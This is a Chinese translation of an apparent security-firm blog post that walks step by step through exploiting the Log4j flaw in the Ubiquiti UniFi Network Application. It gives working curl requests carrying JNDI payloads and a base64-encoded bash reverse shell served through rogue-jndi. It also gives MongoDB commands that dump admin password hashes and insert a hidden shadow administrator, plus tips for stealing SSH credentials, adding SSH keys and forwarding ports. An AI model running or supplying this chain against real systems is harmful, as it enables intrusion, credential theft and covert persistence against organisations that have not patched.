介绍
到现在为止,您可能已经很清楚最近披露的 Java 日志库 Log4j 的一个漏洞。该漏洞影响广泛,影响开源项目和企业软件。
Ubiquiti 在漏洞发布后不久宣布,他们的一些产品受到影响。Sprocket 使用 Twitter 发布了使用 Log4j 在易受攻击的 Unifi 网络应用程序安装上实现远程代码执行的概念证明。
在本文中,我们将分解利用过程并介绍一些利用对底层操作系统的访问的后利用方法。
确定您的攻击面
Unifi 网络应用程序用于管理 Ubiquiti 软件和硬件解决方案。该软件套件可以本地安装在 Linux 和 Windows 上,也可以安装在 Linux Docker 容器中。出于本文的目的,我们将使用 Docker 安装,原因如下:
- 操作系统上可用的最有限的工具集
- 最受限制的环境
假设有限的 shell 和本地设置将使攻击路径和后利用步骤在实际工作场景中最可重现。该应用程序最常通过 HTTPS 托管在端口 8443 上。在 Web 浏览器中导航到应用程序的网页将如下所示:
6.5.54 之前的版本容易受到远程代码执行的影响。如上面的屏幕截图所示,我们将在整篇文章中攻击 6.4.54 版本。
一旦您确定了一个易受攻击的实例,就可以轻松地进行漏洞利用。
开发
该漏洞位于登录请求中发出的rememberme
(或在某些版本中为username
)值中,如下所示:
POST /api/login HTTP/2
Host: <TARGET>
Content-Length: 109
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json; charset=utf-8
Accept: */*
Origin: https://<TARGET>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<TARGET>/manage/account/login?redirect=/manage
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"username":"asdf","password":"asdfas","remember":"<PAYLOAD>","strict":true}
为了测试漏洞,我们首先从dnslog.cn 中获取一个主机名并将其插入到以下 cURL 命令中:
代码语言:javascript复制curl -i -s -k -X POST -H $'Host: 192.168.11.10:8443' -H $'Content-Length: 104' --data-binary $'{"username":"a","password":"a","remember":"${jndi:ldap://eb0uvi.dnslog.cn:1389/o=tomcat}","strict":true}' $'https://192.168.11.10:8443/api/login'
您不仅限于在此步骤中使用 dnslog.cn。理想情况下,我们建议您设置自己的 Burp Collaborator 或 Interactsh 服务器来测试此漏洞。
发出 cURL 命令并在 DNSLog 中查找 DNS 回调。如果主机易受攻击,您应该会看到如下内容:
既然您知道目标易受攻击,我们将尝试获取一个反向 shell,以便我们可以与底层 Linux 操作系统进行交互。首先,您需要从以下链接的 GitHub 存储库中克隆和构建工具 rogue-jndi:
veracode-research / rogue-jndi
用于 JNDI 注入攻击的恶意 LDAP 服务器。该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。
github.com:veracode-research/rogue-jndi
在尝试编译此工具之前,请确保已安装 Maven 和 Java。
这个单线应该做你需要的一切:
代码语言:javascript复制git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
编译 Jar 后,您必须编写一个命令来传递反向 shell。与vCenter不同,我们没有nc
现成的。让我们使用下面的单行代码来制作我们的反向 shell 和 Base64 编码。修改命令以满足您的需要,替换 IP 地址和端口。
echo 'bash -c bash -i >&/dev/tcp/192.168.11.50/4444 0>&1' | base64
使用 Base64 输出,在 rogue-jndi 中构建您的命令:
代码语言:javascript复制java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC4xMS41MC80NDQ0IDA JjEK}|{base64,-d}|{bash,-i}" --hostname "192.168.11.50"
将上面命令中“echo”之后的 Base64 编码字符串替换为您生成的字符串。将主机名变量替换为您将运行命令的主机的公共或本地 IP。然后启动您的 rogue-jndi LDAP 服务器。
要获得反向 shell,请发出以下 cURL 命令:
代码语言:javascript复制curl -i -s -k -X POST -H $'Host: 192.168.11.10:8443' -H $'Content-Length: 104' --data-binary $'{"username":"a","password":"a","remember":"${jndi:ldap://192.168.11.50:1389/o=tomcat}","strict":true}' $'https://192.168.11.10:8443/api/login'
将上述值替换为您在构建此漏洞利用链时收集的相关变量。在构建 shell 时在指定的端口上启动 netcat 侦听器并发出 cURL 命令。如果你做的一切都正确,你应该看到 UniFi 网络应用程序从 rogue-jndi 获取有效负载,然后得到一个回调:
后开发
一旦你有一个反向 shell,你会很快发现你不是在以 root 身份运行。我们已经进行了一些研究,在某些边缘配置之外,情况似乎总是如此。
在 Sprocket,我们开始自问:“我们真的可以用它做什么?”
来发现,存储所有应用程序信息的MongoDB实例是在没有身份验证的情况下在localhost上监听的。这意味着一旦您拥有 shell 访问权限,您就可以读取本地 MongoDB 实例并对其进行修改。我想你明白我们要做什么了。我们有三个选择:
· 提取管理帐户的密码哈希并尝试破解它们。
· 重置管理用户的密码。
· 添加我们自己的影子管理员以提供对管理控制台的访问。
第一个和第三个选项是最有吸引力的,因为它们理论上可以在任何补丁实施后很长时间内提供对管理控制台的访问,并且不会引起怀疑。一旦我们拥有管理权限,我们就可以快速建立持久性并在网络内部横向移动。在每个 Docker 和裸机安装中,我们都看到了可用的 MongoDB 命令行实用程序,这使得以下攻击路径几乎在所有环境中都成为可能。
后利用 - 破解哈希
首先,让我们从本地数据库转储密码哈希。使用反向 shell 执行以下命令以转储用户的 JSON 数组、他们的权限以及最重要的密码哈希。
代码语言:javascript复制mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
执行此命令后,您将看到类似以下屏幕截图的内容:
获取存储在 x_shadow 变量中的那些 SHA-512 哈希值并将它们扔到 Hashcat 中,以开始尝试恢复现有用户的明文密码。您可能会很幸运,但如果没有庞大的装备,使用大型词表将需要一段时间才能破解。但是,如果您要破解散列,您现在可以登录管理控制台。成功破解的哈希如下图所示:
后利用 - 影子管理员
或者,我们可以使用命令行界面轻松添加我们自己的影子管理员帐户。由于缺少身份验证,我们可以执行一系列命令来添加本地帐户。
首先,我们需要使用 mkpasswd 命令行实用程序为我们的帐户生成密码哈希。奇怪的是,这个实用程序包含在 apt whois 包中。安装 whois,然后执行以下命令在本地系统上生成哈希。
代码语言:javascript复制mkpasswd -m sha-512 <PASSWORD>
此命令将输出我们将通过反向 shell 在 MongoDB 命令中使用的哈希值。在替换相关变量的同时执行类似于下面的命令。
代码语言:javascript复制mongo --port 27117 ace --eval 'db.admin.insert({ "email" : "null@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "<PASSWORD-HASH>" })'
您可以保留 time_created 变量不变。除非您试图混淆 IR 人员,否则这无关紧要。
确切地说,将上面显示的相关变量替换为:
· 所需的电子邮件
· 想要的用户名
· 生成的密码哈希
执行此命令后,您可以运行以下命令以查看现在填充到 MongoDB 数据库中的用户列表:
代码语言:javascript复制mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
收集您刚创建的用户的 ObjectID。你以后会需要它。它应该是与刚刚获得输出的用户关联的数组中的第一个值。
您只需要括号内的 UUID,而不是整个字符串。
存储 ObjectId 值后,执行以下命令以获取与设备关联的所有站点的列表。
代码语言:javascript复制mongo --port 27117 ace --eval "db.site.find().forEach(printjson);"
此命令的输出应类似于以下内容:
存储上面屏幕截图中突出显示的 ObjectId 值。最后,执行下面的命令,插入您刚刚创建的帐户的 ObjectID 和使用上一个命令收集的站点 ObjectID。例如,要将帐户“unifi-admin”添加到站点“super”,请执行类似于以下的命令:
代码语言:javascript复制mongo --port 27117 ace --eval 'db.privilege.insert({ "admin_id" : "61c88cd001e2b3b6a43d3610", "permissions" : [ ], "role" : "admin", "site_id" : "61c88c56e03dd80139681639" });'
重复此命令,同时替换使用上一步收集的 site_id 值。如果一切顺利,您现在应该能够使用您创建的帐户登录到管理控制台。
横向移动选项
这条攻击路径很漂亮,原因有几个。
· 很难检测到添加了额外的管理帐户。
· 不显示通知。
· IT 必须深入到系统配置选项中才能真正看到新帐户。
窃取 SSH 凭据
太疯狂了,如果 Ubiquiti USG 或供应商的其他网关设备正在运行,您还可以轻松获取用于访问该设备的管理员帐户的 SSH 凭据。这可以在站点配置选项下找到,并显示在下面的屏幕截图中:
单击眼睛,您就有了信用。我真的无法告诉你为什么这是一个功能,但它确实是。
添加 SSH 密钥
您还可以使用“添加新 SSH 密钥”选项添加 SSH 密钥,这些密钥将自动传播到 ubiquiti 控制器。如果 USG 也暴露在 Internet 上,您现在就有了进入目标网络的第二个入口点。或者,您理论上可以从网络设备上现有的反向 shell 横向移动到 USG,以进一步建立您的访问。
转发端口
即使 USG 未公开,也不要忘记您现在可以选择将内部主机的端口转发到 Internet 进行访问。例如,要为您的公共 IP 添加端口转发规则,并允许快速访问另一个内部主机,请执行以下操作:
前面的后开发步骤列表并不包括所有内容,您还应该能够:
· 快速轻松地在公司网络中建立 VPN 连接
· 即时拦截和修改流量
· 修改防火墙规则以提供对受限内部网络的更广泛访问
添加管理员
这是我们添加的管理员出现的地方。它在用户界面的深处。您可以添加其他管理员,但没有太多理由这样做,因为我们已经拥有访问权限。
显示影响并增加自动化。
据我所知,这个 Log4j 漏洞有可能产生重大影响。为什么?根据 Shodan 的说法,由于该应用程序的近 67,000 个实例在互联网上,
虽然其中许多可能已修补并隔离到云环境,但我认为至少有 30,000 个实例由私有组织托管在本地,20,000 个容易受到远程代码执行的影响。
开发简单、有效且高效。上面详述的添加管理用户的过程可以使用像 Go 这样的编译语言轻松自动化。攻击者需要创建一个二进制文件来存储所有需要的依赖项,这些依赖项可以放到磁盘上并执行。像这样的工具可以轻松地将流量代理到公司内部网络中,并且无需任何人工交互即可更新 MongoDB 实例。